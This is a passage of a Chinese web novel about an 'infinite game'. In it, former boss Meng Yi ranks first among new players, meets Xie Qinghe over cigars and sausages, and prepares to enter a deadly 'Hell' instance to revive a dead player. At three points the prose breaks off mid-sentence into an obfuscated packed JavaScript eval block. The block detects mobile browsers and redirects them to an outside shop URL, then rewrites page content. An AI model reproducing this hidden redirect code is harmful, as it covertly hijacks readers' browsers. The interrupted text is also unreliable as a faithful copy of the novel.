身份卡下方,压着一张小纸条。纸条上写着的地址,是一个酒吧。 孟绎拿着身份卡,走出书房,下了楼梯,只见一块牌匾正对大门悬挂:噤声书店。 “你终于出来了!”贺彩音跑过来,看样子已经等待许久,“你怎么不配合布道者的工作?他们没有为难你吧?” 孟绎摇摇头。 贺彩音左右看了看,压低声音说:“面具人的头目,名叫解倾河。他就是我要给你介绍的老玩家。” 不用介绍了,孟绎心想,你口中的老玩家,当年差点被我打死。 但孟绎还是有点意外:“你认识解倾河?” 现在回想起来,贺彩音手中的毒针,一定是解倾河留给她的。 贺彩音是新手,而解倾河是顶级玩家。他们两个认识,解倾河还愿意给她高级道具,实属不寻常。 “我十五岁父母双亡,进了孤儿院,”贺彩音说,“在那里我和解倾河相识。他没有传言中的那么坏。” 孟绎赞同,至少解倾河没往他舌头上穿钉子。 “时间差不多了,我们去等榜单吧。”贺彩音说。 孟绎:“榜单?” “新人玩家排行榜,你跟我来。”贺彩音带着孟绎走出书店,挤过熙熙攘攘的人群,来到一个广场。 广场上立着十三根柱子,每一根都有六、七层楼高。贺彩音拉着孟绎,挤到最中央的石柱前。 石柱上,阳刻着上千个名字。中央柱子的最上方,刻着: 1.广星渊 资质评级:优才 目前状态:存活 特殊词条:贤者石公会成员 贺彩音解释了一番,提尔纳诺恪每个季度都会招募一批新玩家。 新玩家通关第一个副本后,系统会给他们打分。 打分结束后,从高到低排列,期间会根据玩家在后续副本中的表现动态排序,直至下一季度,新玩家进入游戏,榜单全部更换。 玩家公会的招募者,会在每次新手榜单换榜时,来这里蹲点,寻找有潜力的苗子,拉进自己的公会。 身边,有很多老玩家发传单。 “起源工坊,了解一下,我们有12名天梯排行榜前百的玩家!” “这里是致命牌术公会!有信心挤进前30的新人过来,其他的就别过来了。” “贤者石公会在这里,我们只收新手前五名!” 那群人吵吵闹闹,贺彩音看都没看一眼,她露出不太明显,但很开心的笑容:“我们不需要理那些人,因为我们已经成为了噤声书店会员。这是游戏里最强大,也是唯一一个由系统创立的公会。” 耳边,还有人在谈论孟绎。 “他就是孟绎吧。” “真想让他加入我们公会啊,可他是完美通关,与我们无缘。” “真人比直播里帅多了。” “猜一下他的资质评级?” “这还用猜?肯定是天才。” 机械齿轮转动的声音,咯哒咯哒地响起。石柱上的阳刻文字渐渐缩回去,一些零散的笔画被机关推出来。 所有人停止交谈,全神贯注地盯着石柱。 中央柱子最上方,排名第一的玩家,名字最先出现。 1.孟绎 资质评级:天才 目前状态:存活 特殊词条:噤声书店会员 真是毫不意外呢。 身旁的人比孟绎本人还激动,他们的惊叹被机关转动的巨响淹没,零星几个词飘进孟绎耳中。 “刚通关新手副本就被评为天才!” “他看起来好淡定,一点表情都没有。” 贺彩音排名第四,资质评级是优才,她对此颇为满意。 机关转动得越来越快,噪音震耳欲聋。孟绎和贺彩音看到了自己的排名,又从人群中往外挤。 和一个路人擦肩而过时,孟绎听到那人感叹了一句: “啊,朗煜啊,一共650人,他排在35名呢。可惜了。” 朗煜?有点耳熟的名字。 孟绎想了一会儿,这不是帮助他进入提尔纳诺恪的好心人么? 朗煜还请他喝了一瓶两块钱的矿泉水呢。 孟绎回头一瞧。 35.朗煜 资质评级:优才 目前状态:死亡 特殊词条:无 见孟绎突然回头,贺彩音问:“怎么了?” 孟绎仍盯着那个名字,未发一言。 * 通过身份卡,可传送回现实世界。 解倾河留给孟绎的酒吧地址,位于金海岸市,泪湖公园附近。孟绎没费多长时间,就找到那间酒吧。 这是一家顶级酒吧,名叫红金骑士,时间是下午四点多,酒吧还没开门。但孟绎将纸条递给前台,前台似乎知道他要找谁,毕恭毕敬地带孟绎进去。 与门外的冷清不同,酒吧里座无虚席,人声鼎沸。听他们的只言片语,都是提尔纳诺恪的游戏玩家。 “您请这边来。”服务员将孟绎带到角落处的卡座。 解倾河早就在那里等着了,身边没有任何人。孟绎怀疑,他一下午都坐在酒吧里等待。 孟绎走过去时,众人纷纷侧目而视。 他们一会儿看看孟绎,一会儿看看角落里的解倾河。 “这人谁啊?” “我不认识。” “他怎么去找解倾河了?” “孟绎,是个新人玩家。我刷到过他的直播间,进去看了一眼。天才评级,新人第一名。” “就算是天才评级,那也是个新人。能进这里的,谁不是个天才了?解倾河在干等6个小时,竟然是在等他?” 孟绎在解倾河对面落座时,酒吧安静了一秒,复古爵士乐悠扬婉转。 “您愿意来见我,我很荣幸。”解倾河说。 他穿一套亚麻西装,西装的袖子偏长,还戴着一副白手套。 亚麻布料很容易起褶子,会显得邋邋遢遢,穿在解倾河身上,却随性休闲。 酒吧里的其他人继续聊天,但声音小了很多。 解倾河打开手边的木盒,拿出一条两指粗,棕褐色的圆柱体。 孟绎盯着圆柱状物体,感觉有点饿了。 在泪湖公园流浪时,孟绎总能看到游客用香肠喂流浪猫。 流浪猫有人愿意投喂,流浪人没有,那时他非常饿,只能眼巴巴看着。 这条棕褐色圆柱体,也是香肠么?闻起来有淡淡的刺激性气味,孟绎不介意,他想吃香肠很久了。 孟绎接过“香肠”,一口咬掉一半,咀嚼了很久很久。 味道有点怪,没有孟绎想象得好吃。勉强能下咽。 解倾河正要拿雪茄剪,却看到孟绎一口吃掉了半根。 “您……”解倾河欲言又止。 孟绎:“唔?” 他又吃掉剩下的半根雪茄,期待地看着解倾河:再给我一根。 “不能用来吃,是这样。”解倾河点燃雪茄,吸了一口,吐出烟雾。 孟绎不理解。咬着一根小棍做深呼吸有什么意思? “我要吃香肠。”孟绎说。 五分钟后。 酒侍用托盘送来二十根油汪汪的烤肠。孟绎和解倾河坐在金碧辉煌、觥筹交错的酒吧卡座,吃着路边摊烤肠。 二十根烤肠,孟绎一人吃掉十九根半。 “您知不知道,如何逃离提尔纳诺恪的游戏?”解倾河问。 孟绎咽下一口烤肠,摇摇头。 他作为副本BOSS时,甚至不知道如何离开BOSS房。孟绎经常感觉,这场游戏里,无论是BOSS还是玩家,都是万相的傀儡。 解倾河似乎知道他得不到想要的答案,没有表现出特别失望。他靠在沙发里,深吸一口雪茄,全部咽下去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586692|185713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我也不知道如何逃离游戏。”解倾河说,“我本以为战胜您,我就可以离开。和您交手后,我意识到,以玩家的力量,无法击败奈落珈。” 孟绎表示同意。 他作为奈落珈时,总觉得奇怪:一场游戏,至少要让足够强大的玩家通关吧? 但奈落珈遇到的玩家,太弱小了,甚至不需要费多少力气,就能像碾死一只蚂蚁似的,结束玩家们的生命。 解倾河能逃走,也是因为孟绎大放水,他没想要解倾河的命。 如今孟绎离开BOSS房,大部分力量被封印。他偶尔还是会想起从前:为什么要设定一个玩家根本无法战胜的最终BOSS? “你想离开游戏?”孟绎问。 解倾河“嗯”了一声:“但没有任何一个人能活着离开。进入游戏后,只有一个结局,死亡。或早或晚罢了。” 他仰靠在沙发里,盯着头顶的烟雾,隔了一会儿,又问:“您知道游戏的目的么?” 孟绎再次摇头:“我知道的,不比你多。” 解倾河并不意外,他接受了悲剧,声音沉静而忧郁:“和我的猜测差不多,玩家是供万相取乐的小丑,秘术师是任由万相摆布的棋子。” 可是,万相制造提尔纳诺恪的游戏,目的何在? 这个话题有点沉重,孟绎觉得烤肠都不香了。 “您愿意帮助我们么,帮我们找到逃离游戏的方法。”解倾河的声音,莫名有些可怜,“我不想继续了,我太累了。” 看在20根烤肠的面子上,孟绎点点头。但就像他刚才说过的那样:孟绎对提尔纳诺恪的了解,并不比解倾河多。 “但我如何帮助你呢?”孟绎问。 “我也不知道。”解倾河说,“但您的出现,为我们带来希望,或许有一天,我们会找到离开游戏的方法。” 二人的交谈声隐没在一片嘈杂中,酒吧里的顾客交换着情报、道具,顺便点评一下哪些底层玩家死得异彩纷呈。 “如果您不介意的话,能否告诉我,”解倾河坐直了一些,“您为什么离开王舍城,又成为新人玩家?” “我被万相辞退了,而我的刺绣作品还在BOSS房,我回到游戏,是为了拿回我的刺绣。” “辞退?” “嗯。” 解倾河将雪茄按在烟灰里,思虑重重的模样。 “怎么了?”孟绎问。 “我见过万相几次,祂非常喜欢您,”解倾河斟酌着说,“万相的原话是:‘奈落珈是我最喜爱的宠物,只是看着他,我就会感到幸福’。” 孟绎:……好恶心的台词。 既然万相喜欢他,为什么把他踢出BOSS房? “您能详述一下您离开王舍城的经过么?”解倾河说。 离开王舍城的那一天啊…… 十天前,孟绎在针线盒里发现一封信,信中只有“你将离开提尔纳诺恪”这一句话。 他的BOSS房,只有万相可以随意出入,就连孟绎也不能想来就来,想走就走。理所当然地,孟绎认为这封出现在BOSS房的信,是万相给他的辞退信。 孟绎有点不乐意,这份工作清闲稳定,包吃包住,他不介意继续做下去。 万相让他走,他不得不走。 本打算绣完一朵杜鹃花,孟绎就收拾包裹离开。而当他绣花结束,抬头一瞧,他已来到泪湖公园。 辞退流程就是这么短暂且突然。 解倾河听完,思索片刻:“从头到尾,您没有没听万相亲口说过‘你被辞退了’之类的话?” “没有。”孟绎肯定地说。实际上,被辞退前的一个月,他根本没见过万相。 孟绎:“这件事有蹊跷?” 解倾河点点头:“过两天我要去【地下岛】述职,我打听一下您被辞退的事,还有您的刺绣作品。” 地下岛,万相栖息的地方。 道别之前,孟绎又想起一件事:“游戏中有没有一种方法,可以让已死之人复活?” 朗煜的死,让孟绎不太开心,如果可以的话,他想抢救朗煜一下。 “进入【地狱】副本,找到您想复活的人,带着他的灵魂,逃离地狱。”解倾河整理着白手套,“但我不建议您这样做,地狱副本的死亡率,高于百分之九十九。” 孟绎将自己归入了可以生还的百分之一,他问:“如何进入地狱?” 23.福祸罗盘 噤声书店,顶楼。 解倾河真的很羡慕孟绎,孟绎什么都没做,就能逃离这该死的游戏。 今天,是解倾河进入提尔纳诺恪的第2087天。最近一个月,解倾河一直以布道者的身份,骗新人玩家进入游戏。 身后,窗外,提尔纳诺恪的河流倒映星河,璀璨而寂静。 解倾河刚整理好这次招摇撞骗的工作报告,房门被敲响。 敲门的是个小姑娘,酒窝的位置长着两颗小小的眼珠,她笑嘻嘻地说:“店长请你过去一趟。” 她一笑,酒窝处的眼睛也变成笑眼。 “我知道了。”解倾河说。 “惶叶大人很生气哦。”小女孩一根手指按着酒窝处的眼睛,“他今天去了地下岛,回来之后就很生气。” 解倾河沉默地整理好工作报告,披上布道者的红袍。 惶叶是噤声书店店长,眼前的小女孩,名叫金蓝樱,他们都是秘术师。 噤声书店的工作人员,9成是秘术师,1成是像解倾河一样的顶尖玩家。 玩家挤破脑袋也想成为噤声书店会员,有一个重要原因就是:有机会为书店工作。 一旦获得【噤声书店出纳】【噤声书店收银员】【古籍整理员】【布道者】这类的身份卡,他们就不用每隔14天,进入一次要命的副本了,一整年不进副本也没关系。 解倾河卷好羊皮纸,敲响书店店长的房门。 惶叶乍一看与普通人无异。他一只眼睛瞎了,眼珠全白。另一只眼睛呈不正常的金色。 这种诡异的金色,不会让人想到金子、财富这般美好的事物。 “报告店长,”解倾河垂着眼睛说,“我已整理好……” “放那边。”没等解倾河说完,惶叶烦躁地指了指房间一侧的矮柜,“你今天离开提尔纳诺恪十三洲了?你去了哪儿?” 红金骑士酒吧是为数不多、没有被秘术师监视的区域。解倾河随口扯谎:“我去了抚养我长大的那家孤儿院……” 一句话没说完,惶叶一个巴掌扇过来,打得解倾河摔倒在地。 “我说没说过,最近情况特殊,离开十三洲,要跟我打报告?”惶叶沉声问。 解倾河心想:你没说过,你真没说过。 职场嘛,谁没遇到过老板乱发脾气、乱甩锅的时候呢?解倾河明智地选择闭嘴。 惶叶也意识到,自己确实没说过,怒意却不消减:“万相沉睡。奈落珈失踪。你在这儿搞小动作,看来我太久没教育你了。” 解倾河藏在红袍下的手指蓦地攥紧。 果然啊,和他猜测得一样,奈落珈离开王舍城,绝不是被辞退这么简单。 提尔纳诺恪出现了一点小小的意外。抓住这个机会,说不定,他能发现一些世界背后的秘密。 解倾河爬起来,极力控制着表情,不让自己的嘴角上扬,维持一贯的平淡语气:“什么时候的事?” “十天前。”惶叶靠着椅背,叹了口气,“我们先发现奈落珈离奇失踪,秘术师们去地下岛向万相汇报,又发现万相沉睡了,谁也无法将祂唤醒。” 说完,惶叶眼睛一转,凛冽地瞪着解倾河,语气阴沉:“你很开心?” “不,我没有。”解倾河矢口否认。 又一个巴掌扇过来,解倾河刚站稳,再次被打倒。 “万相和奈落珈的事,和你有没有关系?”惶叶从书桌后站起来,两手撑着桌子,俯视解倾河。 惶叶的脖子逐渐拉长,在空中打了个旋,鼻子凑到解倾河耳边。 解倾河被打裂了的嘴角淌着血,他趴着没动:“这一个月我都在凡界,我对此事毫不知情。” “最好是这样。”惶叶的身体骤然变细,瘦得挂不住衣服,茎和叶片从领口中探出。 眨眼之间,书桌后的男人,变成四朵根部相连的巨大金丝菊。 金丝菊的直径超过一米,花瓣如利刃,两朵菊花的花蕊长着眼珠子,一朵菊花的花蕊处长着一张嘴巴。 “秘术师叛徒留下来的贱种,”花蕊中的嘴,凑在解倾河耳边,“你若敢像你叔叔一样,背叛万相大人,我会把你竖着劈成两半。” 解倾河闭了闭眼:“我不敢。” 惶叶恶狠狠地盯着解倾河,不放过每一个微不可查的细节,似乎这样就能挖出一丝不忠的征兆。 解倾河放缓呼吸,尽量一动不动,任他打量。 许久之后,四朵金丝菊从衣领缩了回去,布料下,有什么东西鼓动起伏,人形态的惶叶站在解倾河旁边,皮鞋踩住解倾河的脸:“三千次。” 惶叶的右手食指,出现一条细细的金色纹身,只有一条金线,从指甲下方一直纹到尺骨茎突处。 金色纹身闪烁片刻,消失不见。一根金针掉在解倾河手边。 解倾河急抬起头:“我这一个月根本不在提尔纳诺恪,今天上午才回来,万相大人沉睡的事我毫不知情……” 话没说完,惶叶冷冷瞥他一眼:“三千次。” 解倾河咽下没说出来的话,隔了许久,轻声说:“遵命。” 惶叶离开后,解倾河坐在店长的椅子里,动作缓慢地取下手套。 他两只手的掌心,各纹了一只眼睛。这是秘术师的刺青。 这两只手,已伤痕累累,暗红色的针孔连成一片,如同犯了皮肤病。 三千次。 解倾河拿起金针,刺穿自己的指腹:“我不会背叛万相大人。” 两千九百九十九次。 “我不会背叛万相大人。” 两千九百九十八次。 “我不会背叛万相大人。” …… 刺穿一次手掌,就发一遍誓言。三千次结束,天早已亮了。 解倾河拔.出金针,双手已鲜血淋漓。这是他进入提尔纳诺恪的第2088天。 * “你要进入【地狱】副本?”贺彩音震惊,“为了救朗煜?” 中央大厅,人流如织。身份卡进阶、公会登记等各类事项,都在这里处理。 路人听到贺彩音的话,纷纷侧过头,好奇打量。 孟绎点点头。 “地狱副本死亡率高于99%啊!”贺彩音不理解,“朗煜救了你的命?你冒这么大的风险去救他?” 孟绎认真地说:“救我的命?没有。但他请我喝过一瓶矿泉水。” 贺彩音:“……” 二人一同走入负责身份卡进阶的房间。 新手副本结算奖励已发放,贺彩音的奖励是【功能卡:杂役→学徒】 孟绎的奖励是【功能卡:杂役→高级学徒】 仅通关新手副本,就获得进阶卡,已是凤毛麟角。连升两阶,杂役直升高级学徒,更是十年难遇。 管理员不由得多看了他们几眼。 二人拿着新身份卡离开中央大厅。 “你一个人进入地狱副本么?”贺彩音问。 孟绎:“不知道呢。” 昨天下午,在红金骑士酒吧和解倾河会面,解倾河告诉孟绎,想进入地狱副本,必须伪装成死者。地狱不欢迎活人。 活人要带着一张死亡状态卡进入地狱,副本内,需要不断搜集特殊道具【彼岸花】,保证死亡状态卡完好无损。 死亡状态卡一旦破碎,任谁都会被立刻抹杀。 解倾河还说,活人进入地狱副本的情况并不罕见。 大部分进入地狱副本的玩家,并不是出于情谊,想复活某位朋友,而是做了什么错事、得罪高级玩家,被公会会长、公会高级成员……被仇人扔进地狱。 副本外禁止玩家间自相残杀,只有极少数玩家可以无视禁令。因此,把仇人扔进地狱,成了最简单有效的复仇手段。 昨晚,道别之前,解倾河让孟绎慎重考虑一下,即使是孟绎,如果在地狱中死亡状态卡破碎,也会被立刻抹杀。 孟绎不慎重考虑,要求解倾河帮他弄来一张死亡状态卡。 那时,解倾河沉吟片刻,说如果情况若允许,他和孟绎一起进入地狱。 孟绎:“可能,解倾河和我一起进入地狱。” 贺彩音更惊讶了:“你和他的关系处这么好了?” 那当然了,知道孟绎真实身份的,只有解倾河一人。 正聊着天,远远走过来一个很眼熟的人,他隔着很远,向孟绎挥动两条手臂:“孟绎大佬!” 竟然是常昊。 他一路小跑过来,把孟绎拉到一个角落,神神秘秘地拿出一个包裹:“大佬,您对我恩重如山,我无以为报。这个东西,您看您能不能用得到。” 常昊拿出来的东西,像一个指南针。东西南北坐标的位置,分别画着翻开的书、宝箱、问号卡牌和骷髅头。 碰一下指南针,系统自动弹出道具说明。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593687|185713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【道具:福祸罗盘】 【道具说明:开启罗盘后,罗盘会指引玩家找到一本技能书、一个道具、一张未知卡牌和一处险境】 【玩家必须在限定时间内找到罗盘指出的四个坐标,且不能跳过(险境也要去哦),否则,会发生很可怕的事。】 “技能书”贺彩音眼睛一亮。 成为学徒之后,可以学习技能。但技能很难获得,高级技能就更难了。 并且,技能槽有限,学了技能就不可以丢弃。玩家往往会等到身份卡等级进阶到【炼金术师】【精英炼金术师】甚至【首席炼金术师】之后,到高级的副本,获得好用的技能。 贺彩音眼睛都要看直了,玩家技能还有一个优势:仅自己可见。 强力、隐蔽。有一个好用的技能,相当于每一个副本,都有一张无法被夺走的底牌。 孟绎则想起昨晚解倾河说过的话:【地狱】的难度,相当于大后期副本,奖励也相应丰厚。 他作为“奈落珈”的能力,大部分被封印,用不了曾经的7个S+级技能,只剩下刻入身体的本能,比如反应速度快、力量大、可以直接粉碎摧毁一些中低级卡牌。 现在的孟绎,还挺需要高级技能的。 或许,他可以在地狱中找到一个高级技能。 “大佬,你赠与我的【设计稿:杂役级转换卡】让我发了一笔财,”常昊的语气非常诚恳,“出了副本才一天,只是定金,我就收了800多枚金币。” 常昊:“实不相瞒,我还挺会做生意的,我家往上查三代,都是做生意人。我这点胆量,不打算进副本了,就用您赠与的设计稿赚一笔本钱,在提尔纳诺恪当个商人。” 这条路可行。一般情况下,每14天要进入一次副本,但使用金币可以延长进入副本的倒计时。 生意做得大一点,积累了人脉,有高级玩家资助的各种延时道具,完全可以一两年不进副本。 常昊留着福祸罗盘也没用,罗盘最有用的是找到【技能书】,而他一个杂役等级,根本学不了技能。 升到学徒级?常昊可以肯定,如果他在第二个副本中,没抱上孟绎这样的大腿,他必死无疑。 福祸罗盘还要过一道险境,常昊更不敢自己用了。 孟绎接过罗盘:“谢谢你。” 常昊比孟绎还开心:“大佬,以后还得麻烦您多多照顾。我下次获得珍惜道具,立刻送给你。” 做商人也不是高枕无忧,难免有见钱眼开的玩家,想要常昊的命。 常昊赚了800金币,买了个宝贝急吼吼地送给孟绎,不只是想报恩,也是希望孟绎能在关键时刻能救他一命。 孟绎点头:“好。” 常昊喜不自胜地走了,贺彩音啧啧感叹:“看出来了,他确实会做生意。刚起步呢,先给自己找个保护伞。” 孟绎不太懂,人类的心思太复杂。 解倾河动了点手段,让孟绎住进噤声书店,卧室就在解倾河隔壁。当天晚上,解倾河来到他的房间。 “万相沉睡了。”解倾河依旧没什么表情,陷在椅子里的姿态却放松许多。 孟绎怔了一下。万相的“沉睡”,和一般意义上的睡觉大有不同。 万相的上一次沉睡,足足睡了一百年。祂一旦沉睡,除非有惊天动地的大事,否则,百年内不会苏醒。 “我的刺绣作品?”孟绎问。 解倾河摇摇头:“他们说,您是离奇失踪,不是被辞退。” 孟绎缓缓睁圆了眼睛,随即,又垂下眼睫。 这个消息对他来说,不算特别意外。 但,不是万相将他踢出BOSS房,还能是谁呢?除了万相以外,还有谁在操控这场游戏? “出了这么大的事,我也能松一口气了。”解倾河整理了一下手套,抽出一根雪茄,“介意么?” 孟绎摇摇头。 解倾河深吸一口雪茄,含住数秒,吐出一团烟雾:“我会和您一同进入地狱。不要带其他人,您的身份不宜声张。” “哦,我带了一些零食,希望您喜欢。”解倾河从系统仓库中,拿出一包烤肠、一包薯片,一大盒巧克力,还有蛋黄酥半熟芝士酸奶水果捞等。 孟绎每一样都尝了一点,眼睛逐渐亮起,看得解倾河感慨万千:早知道终极BOSS这么好哄,当初他逃跑时,何必浪费高级道具,备一份零食大礼包就足够了。 24.灵感 解倾河提到,地狱中的亡魂神志不清醒,和“祥林嫂怪物”差不多,他们只能记得印象最深刻的事,不会完全配合救援。 “朗煜是个怎样的人,您给我讲讲?”解倾河做出洗耳恭听的样子。 孟绎怔怔地看着它。 解倾河:“您不知道?” “嗯……我和他不太熟。”孟绎说,“我们只见过两面。” 他叙述了一遍经历,解倾河不理解,但尊重:“您对朗煜心存愧疚,您认为朗煜是因为您才进入无限游戏,丢掉性命的?” 孟绎点头同意。 “您完全没必要有这种心理负担。”解倾河放轻了声音,“噤声书店里有一份名单,每一个会进入游戏的人,名字都写在名单上。” “即使你从未见过朗煜,朗煜也会进入提尔纳诺恪,或许是因为一次寻常的泡澡、游泳、潜水,也许是被我骗进来。” 孟绎没说话,他用表情告诉解倾河:那我也要救朗煜。 “我明白了。”解倾河说,“进入地狱前,我们最好了解一下这个人。” 一周之后,解倾河带孟绎去见朗煜的父母。 朗煜是小地方富商的儿子,也就是县城婆罗门。他家的别墅,典雅奢华,仅是一面大理石背景墙,就价值数百万。 解倾河称自己是私家侦探,会帮朗煜的父母找回儿子。 朗煜父母只有这一个孩子,儿子失踪半个月,遍寻无果,年近六十的父母哭成泪人,见到解倾河,如见到救命恩人一般。 “向我讲一讲,令郎是怎样的人。”解倾河的态度冷漠且专业,对父母的悲痛无动于衷。 朗煜父母哭哭啼啼地讲了起来。他们说,朗煜善良、真诚、懂事。成绩算不上顶尖,但也能考个二本王牌专业。他们也不期待朗煜有所作为,只希望儿子能一直陪在身边,就没把朗煜送出国。 今年,朗煜读大二,刚满二十岁,在学校积极参加集体活动,当上班长、学生会会长,还拿了奖学金。小长假去金海岸市旅游,旅途第二天离奇失踪,人间蒸发一般,谁也找不到。 “解先生啊,我也就跟你交底了,”朗煜爸爸赤红着眼睛,“金海岸市公安局局长我都认识,朗煜失踪6个小时,他就派人去查,一直查到现在,一点消息都没有。我们也没收到绑架勒索电话,就是让我交一亿赎金,我卖厂子卖房子也立刻交啊!” 解倾河静静等他说完,接着问:“朗煜从小到大,有没有遇到过一些灵异事件。比如,能看到鬼,能听到别人听不到的声音。又或者,得没得过精神类疾病?” 提尔纳诺恪选择玩家有一条最基础的标准:“灵感”足够高。 灵感高的人,往往会听到、看到别人不可感知的事物,甚至直接发疯,成为寻常人眼中的精神病。 朗煜父母没想到会问这件事,悬疑剧情秒变灵异剧情,他们错愕地对视一眼,回忆片刻,朗煜母亲点点头。 “我儿子读高中的时候,受伤住院两天,回到家就说自己能看到鬼。” “哦?”解倾河继续问,“什么样的鬼?” “让他描述,他说得神神叨叨的,”朗煜父亲说,“他说,那东西一会儿像七彩炫光,一会儿像半透明的气态胶。既平面又立体,既像积木拼接在一起,又像一大坨变形的橡皮泥。” 解倾河和孟绎对视一眼,朗煜描述的东西,分明是…… “朗煜还说,墙纸里的东西,身体内部有很多光点。”朗煜母亲补充,“那些光点有时像眼睛一样盯着人看,有时像一张张脸孔。” “看到那东西,会感到晕眩、焦虑、思维模糊。”朗煜父亲说,“但我们什么都没看到。” 错不了,朗煜看到的,正是万相。 解倾河点点头,又问了些零碎的问题,包括朗煜喜欢什么、讨厌什么。 谈话进行了两个多小时,解倾河按灭了第二根雪茄,做出准备离开的架势。 “还有最后一个问题。”解倾河站起身问,“朗煜做没做过恶事?” “不是抄作业、逃课、对感情不忠这种小来小去的事,而是写进刑法的、违法行为。” 此言一出,朗煜父母登时变了脸色,他们面皮涨得通红,大喊大叫,主旨是我的孩子怎么可能犯法?! 解倾河在他们的叫嚷声中,慢条斯理地打开公文包,拿出一沓厚厚的A4纸,嘭的一声,往茶几上一放。 “成为私家侦探之前,我在法院工作。”解倾河将法官公务证打开,举到他们面前。 喊叫声戛然而止,朗煜父亲颤抖着手,翻开第一页,登时发出一声哀嚎,捂着脸,痛苦地倒在沙发上。 过了一刻钟,这对父母才缓过神来,声音近乎绝望:“我刚才说,朗煜住了两天院,回到家,就能看到鬼。” “朗煜住院的原因,是和隔壁技校的混混打架。他把混混打成高位截瘫。” “混混不是什么好人,他长期霸凌我儿子的同学。我儿子是为了伸张正义。我们花了点钱,摆平这件事,没让我儿子受影响。” “那混混也没多惨,他身上发生了医学奇迹,只瘫了一年,现在很健康。” 十五分钟后,解倾河提着一只箱子,和孟绎一同离开朗煜的家。 箱子里是价值两百万的金条,找回朗煜的定金。朗煜回来后,朗煜父母还会给两千万。 虽说解倾河帮忙找回朗煜不是为了钱,但顺手挣一点,他也不介意。 坐进加长轿车的后排座,解倾河将这些天搜集到的信息一一摆好,又撕下一张纸,在纸上写了个名字:姜乐宇。 姜乐宇就是被朗煜打成高位截瘫的混混。 他做这些事时,孟绎在一旁安静地看着,察觉到孟绎的目光,解倾河笑了一下:“怎么了?” “进入游戏的人,都是手上沾过血的人么?”孟绎问。 解倾河:“差不多。但因果关系不对。” 灵感过高,会在某个时刻,做出违背公德的、不理智的举动,比如朗煜为了伸张正义,把姜乐宇打成高位截瘫。 进入游戏的人,并不是坏人。而是因为他们即将进入提尔纳诺恪的游戏,才会做坏事。 “如果朗煜的仇人也在游戏里,那我们要加倍小心,”解倾河翻着桌上的资料,“很不幸,姜乐宇两年前进入无限游戏,混得还不错,现在是贤者石公会成员。” 贤者石公会,仅次于噤声书店,能加入这个公会的,都是玩家中的佼佼者。 但孟绎不是很在乎,他平均每年杀50个贤者石公会成员,还杀过四任会长。 “你为什么进入无限游戏呢?你在外界的工作很好,”孟绎说着,按住法官公务证,拖到自己面前,“被迫进入游戏么?” “哦,那张证是假的。”解倾河打开桌上的木盒子,哗啦啦倒出一堆证件,职业包括但不限于工程师、警察、法官、律师、注册会计师、医生。 孟绎:“……奥。” 解倾河:“我本科刚毕业就进入这场游戏,我的专业是幼师。” 很难把眼前的扑克脸和幼师联系在一起。 并且,孟绎注意到,解倾河没有回答“为什么进入无限游戏”这个问题,他也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599356|185713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没继续问。 * 提尔纳诺恪,贤者石公会大厅。 “恭喜啊!进阶为【精英炼金术师】了!” “好小子,就是有天赋啊,才进入游戏两年吧。” “会长很看重你,加油。” 姜乐宇撇着嘴角笑了一下,抻着懒腰说:“一般吧。” 那些人和姜乐宇告别,坐电梯往楼上走。姜乐宇的背影刚消失在视野中,他们就变了副脸色。 “草他祖宗的,狂什么狂,一个小混混,还挤到我们头上来了。” “会长给他点好脸色,他就用鼻孔看人。又蠢又傲慢。” “姜乐宇狂不了多久,他手那么黑,背叛朋友,出卖盟友,捅刀子偷道具,什么坏事都干了一遍,早就众叛亲离了。” “多行不义必自毙,等着看他倒霉吧。” 姜乐宇知道,那些人一定在背后骂他,但他不在乎。 这几天,姜乐宇心情非常好,他的身份卡进阶为精英炼金术师,得到会长的赏识,更重要的是,他听到了朗煜的死讯。 活该,你个二世祖。姜乐宇心里美滋滋地想,装什么正义人士,没命了吧! 朗煜的死因,在姜乐宇看来,非常愚蠢。朗煜那一组,玩家间勾心斗角,大开杀戒,朗煜为了杀死一个陷害队友的恶人,与恶人同归于尽。 死了就好,只要他死了,姜乐宇就开心。 唯一让姜乐宇不爽的是,朗煜即使死了,也被系统评为“优才”,而姜乐宇通关新手副本时,初始评级是庸才。 正想着呢,迎面又走来一男一女,他们是姜乐宇的朋友,知道姜乐宇和朗煜之间的事。 “乐宇,我跟你说个事,”邹格压低声音,“你那个仇人,死在新手副本,但有人要去地狱带他出来。” 姜乐宇大吃一惊:“谁?怎么回事,你怎么知道的?” 邹格讲起今天下午的经历。 事情经过并不复杂。邹格在交易中心售卖道具,有人来买死亡状态卡,邹格顺口一问:死亡状态卡用途不多,买来做什么? 那人戴着手套,全身上下遮得严严实实:“去地狱,复活朗煜。” 